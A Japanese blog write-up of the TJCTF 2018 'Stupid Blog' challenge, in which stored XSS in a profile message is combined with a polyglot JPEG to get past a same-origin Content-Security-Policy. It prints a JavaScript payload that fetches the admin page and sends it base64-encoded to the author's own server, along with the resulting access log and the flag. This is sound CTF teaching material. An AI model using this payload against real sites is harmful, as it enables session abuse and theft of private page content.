こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

TJCTF 2018 - Stupid Blog

問題文

I created this blog site, but it doesn't do much. I did hide a flag on here though. Maybe you can convince the admin user to give it to you?

f:id:graneed:20180812145555p:plain

writeup

Create Your AccountリンクからRegister画面へ行き、適当なUsernameとPasswordでアカウントを作成してログインすると、自分のプロフィール画面へ。

f:id:graneed:20180812145928p:plain

プロフィール画面では以下の操作が可能。

  1. REPORT A USER
  2. プロフィール画像のアップロード
  3. プロフィールメッセージの更新

それぞれの機能を調べる。

1. 調査

1.1. REPORT A USER

ボタンを押下すると、指定したユーザをadminへ通報する画面へ遷移した。

adminへ通報すると、指定したユーザのプロフィール画面を見に来てくれるのだろう。よって、プロフィール画面にスクリプトを埋め込んでadminを誘導し、adminしか見れない情報(adminのプロフィール画面と想定)をゲットすればよさそう。

プロフィール画面のURL体系は以下の通り。
https://stupid_blog.tjctf.org/<Username>

試しに、別アカウントを作成し、<Username>に別アカウントのUsernameを入れてアクセスするが、You're not allowed to do that.とエラーメッセージが返ってきた。当然、https://stupid_blog.tjctf.org/adminにアクセスしてもエラー。

1.2. プロフィール画像のアップロード

pngまたはjpg画像を選択してアップロードすると、プロフィール画像が更新された。pngとjpg以外をアップロードしても反映されない。拡張子だけ偽装してもNG。

プロフィール画像のURLは、https://stupid_blog.tjctf.org/<Username>/pfp
拡張子がないため、Content-Typeがapplication/octet-streamになっている。
よってscriptファイルとして読み込めそうだ。

1.3. プロフィールメッセージの更新

プロフィールメッセージは特にサニタイズされていないため、<script>タグがそのまま反映される。
しかし、HTTP Response HeaderにContent-Security-Policy: default-src 'self'がセットされているため、単純なスクリプトを書いても実行されない。

2.攻略

画像ファイルにスクリプトを埋め込んで読み込ませれば、CSPを回避できそうだ。最近、以下のサイトを見たことを思い出す。
Bypassing CSP using polyglot JPEGs | Blog

試しに、こちらで公開されている、alertダイアログを表示するスクリプトを埋め込んだ画像をアップロードし、プロフィールメッセージに、<script charset="ISO-8859-1" src="/<Username>/pfp"></script>を入力してみた。

f:id:graneed:20180812220132p:plain
alertダイアログを表示できた!BINGO。

あとはalertダイアログを表示するスクリプトの代わりに、https://stupid_blog.tjctf.org/adminからコンテンツを取得し、自分のサーバに送ってもらうスクリプトに差し替えて、adminに通報するだけ。スクリプトは以下の通り。

xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","/admin",false);
xmlhttp.send();
r=xmlhttp.responseText;
location.href='http://myserver/?q='+btoa(r);

adminに通報してから、自分のサーバのアクセスログを確認すると、アクセスが来ていた。

35.185.25.223 - - [09/Aug/2018:23:56:56 +0900] "GET /?q=PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8dGl0bGU+YWRtaW48L3RpdGxlPgoJPG1ldGEgY2hhcnNldD0iVVRGLTgiPgoJPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIj4KPCEtLT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09LS0+CQoJPGxpbmsgcmVsPSJpY29uIiB0eXBlPSJpbWFnZS9wbmciIGhyZWY9Ii9pbWFnZXMvaWNvbnMvZmF2aWNvbi5pY28iLz4KPCEtLT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09LS0+Cgk8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSIvdmVuZG9yL2Jvb3RzdHJhcC9jc3MvYm9vdHN0cmFwLm1pbi5jc3MiPgo8IS0tPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0tLT4KCTxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9mb250cy9mb250LWF3ZXNvbWUtNC43LjAvY3NzL2ZvbnQtYXdlc29tZS5taW4uY3NzIj4KPCEtLT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09LS0+Cgk8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSIvdmVuZG9yL2FuaW1hdGUvYW5pbWF0ZS5jc3MiPgo8IS0tPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0tLT4JCgk8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSIvdmVuZG9yL2Nzcy1oYW1idXJnZXJzL2hhbWJ1cmdlcnMubWluLmNzcyI+CjwhLS09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PS0tPgoJPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0iL3ZlbmRvci9zZWxlY3QyL3NlbGVjdDIubWluLmNzcyI+CjwhLS09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PS0tPgoJPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0iL2Nzcy91dGlsLmNzcyI+Cgk8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSIvY3NzL21haW4uY3NzIj4KPCEtLT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09LS0+CjwvaGVhZD4KPGJvZHk+CgkKCSAgCgkKCTxkaXYgY2xhc3M9ImxpbWl0ZXIiPgoJCTxkaXYgY2xhc3M9ImNvbnRhaW5lci1sb2dpbjEwMCI+CgkJCTxkaXYgY2xhc3M9IndyYXAtbG9naW4xMDAiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibG9naW4xMDAtcGljIj4KICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0ibG9naW4xMDAtZm9ybS1idG4iIGhyZWY9Ii9yZXBvcnQiPgogICAgICAgICAgICAgICAgICAgICAgICBSZXBvcnQgYSBVc2VyCiAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJsb2dpbjEwMC1waWMganMtdGlsdCIgZGF0YS10aWx0PgogICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSIvYWRtaW4vcGZwIiBhbHQ9IklNRyI+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxmb3JtIGNsYXNzPSJsb2dpbjEwMC1mb3JtIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iL2VkaXRfcGZwIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4KCQkJCQk8c3BhbiBjbGFzcz0ibG9naW4xMDAtZm9ybS10aXRsZSI+CiAgICAgICAgICAgICAgICAgICAgICAgIFVwZGF0ZSBQcm9maWxlIFBpY3R1cmUgKHBuZywganBnKQoJCQkJCTwvc3Bhbj4KCgkJCQkJPGRpdiBjbGFzcz0id3JhcC1pbnB1dDEwMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iaW5wdXQxMDAgZmlsZWlucHV0IiB0eXBlPSJmaWxlIiBuYW1lPSJwZnAiPgoJCQkJCQk8c3BhbiBjbGFzcz0iZm9jdXMtaW5wdXQxMDAiPjwvc3Bhbj4KCQkJCQkJPHNwYW4gY2xhc3M9InN5bWJvbC1pbnB1dDEwMCI+CgkJCQkJCQk8aSBjbGFzcz0iZmEgZmEtaW1hZ2UiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+CgkJCQkJCTwvc3Bhbj4KCQkJCQk8L2Rpdj4KCgkJCQkJPGRpdiBjbGFzcz0iY29udGFpbmVyLWxvZ2luMTAwLWZvcm0tYnRuIj4KCQkJCQkJPGJ1dHRvbiBjbGFzcz0ibG9naW4xMDAtZm9ybS1idG4iPgoJCQkJCQkJU2F2ZQoJCQkJCQk8L2J1dHRvbj4KCQkJCQk8L2Rpdj4KCQkJCTwvZm9ybT4KICAgICAgICAgICAgICAgIDxmb3JtIGNsYXNzPSJsb2dpbjEwMC1mb3JtIHZhbGlkYXRlLWZvcm0iIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIvZWRpdC9hZG1pbiI+CgkJCQkJPHNwYW4gY2xhc3M9ImxvZ2luMTAwLWZvcm0tdGl0bGUiPgogICAgICAgICAgICAgICAgICAgICAgICBhZG1pbidzIFBvc3RzIC0gPGEgaHJlZj0iL2xvZ291dCI+TG9nb3V0PC9hPgoJCQkJCTwvc3Bhbj4KCgkJCQkJPGRpdiBjbGFzcz0id3JhcC1pbnB1dDEwMCB2YWxpZGF0ZS1pbnB1dCIgZGF0YS12YWxpZGF0ZSA9ICJDb250ZW50IGlzIHJlcXVpcmVkIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJpbnB1dDEwMCIgdHlwZT0idGV4dCIgbmFtZT0iY29udGVudCIgdmFsdWU9InRqY3RmezFtNGczX3AwbHlnbDB0XzFzX3czaXJkfSI+CgkJCQkJCTxzcGFuIGNsYXNzPSJmb2N1cy1pbnB1dDEwMCI+PC9zcGFuPgoJCQkJCQk8c3BhbiBjbGFzcz0ic3ltYm9sLWlucHV0MTAwIj4KCQkJCQkJCTxpIGNsYXNzPSJmYSBmYS11c2VyIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPgoJCQkJCQk8L3NwYW4+CgkJCQkJPC9kaXY+CgoJCQkJCTxkaXYgY2xhc3M9ImNvbnRhaW5lci1sb2dpbjEwMC1mb3JtLWJ0biI+CgkJCQkJCTxidXR0b24gY2xhc3M9ImxvZ2luMTAwLWZvcm0tYnRuIj4KCQkJCQkJCVNhdmUKCQkJCQkJPC9idXR0b24+CgkJCQkJPC9kaXY+CgoJCQkJCTxkaXYgY2xhc3M9InRleHQtY2VudGVyIHAtdC0xMzYiPgogICAgICAgICAgICAgICAgICAgICAgICB0amN0ZnsxbTRnM19wMGx5Z2wwdF8xc193M2lyZH0KCQkJCQk8L2Rpdj4KCQkJCTwvZm9ybT4KCQkJPC9kaXY+CgkJPC9kaXY+Cgk8L2Rpdj4KCgkKCTxzY3JpcHQgc3JjPSIvdmVuZG9yL2pxdWVyeS9qcXVlcnktMy4yLjEubWluLmpzIj48L3NjcmlwdD4KCTxzY3JpcHQgc3JjPSIvdmVuZG9yL2Jvb3RzdHJhcC9qcy9wb3BwZXIuanMiPjwvc2NyaXB0PgoJPHNjcmlwdCBzcmM9Ii92ZW5kb3IvYm9vdHN0cmFwL2pzL2Jvb3RzdHJhcC5taW4uanMiPjwvc2NyaXB0PgoJPHNjcmlwdCBzcmM9Ii92ZW5kb3Ivc2VsZWN0Mi9zZWxlY3QyLm1pbi5qcyI+PC9zY3JpcHQ+Cgk8c2NyaXB0IHNyYz0iL3ZlbmRvci90aWx0L3RpbHQuanF1ZXJ5Lm1pbi5qcyI+PC9zY3JpcHQ+Cgk8c2NyaXB0IHNyYz0iL2pzL21haW4uanMiPjwvc2NyaXB0PgogICAgdGpjdGZ7MW00ZzNfcDBseWdsMHRfMXNfdzNpcmR9Cgo8L2JvZHk+CjwvaHRtbD4= HTTP/1.1" 200 288 "http://localhost:1337/vvvvv" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"

BASE64デコードする。

(snip)
                    <div class="text-center p-t-136">
                        tjctf{1m4g3_p0lygl0t_1s_w3ird}
                    </div>
(snip)

adminのプロフィールメッセージにフラグがあった。

tjctf{1m4g3_p0lygl0t_1s_w3ird}
フラグゲット。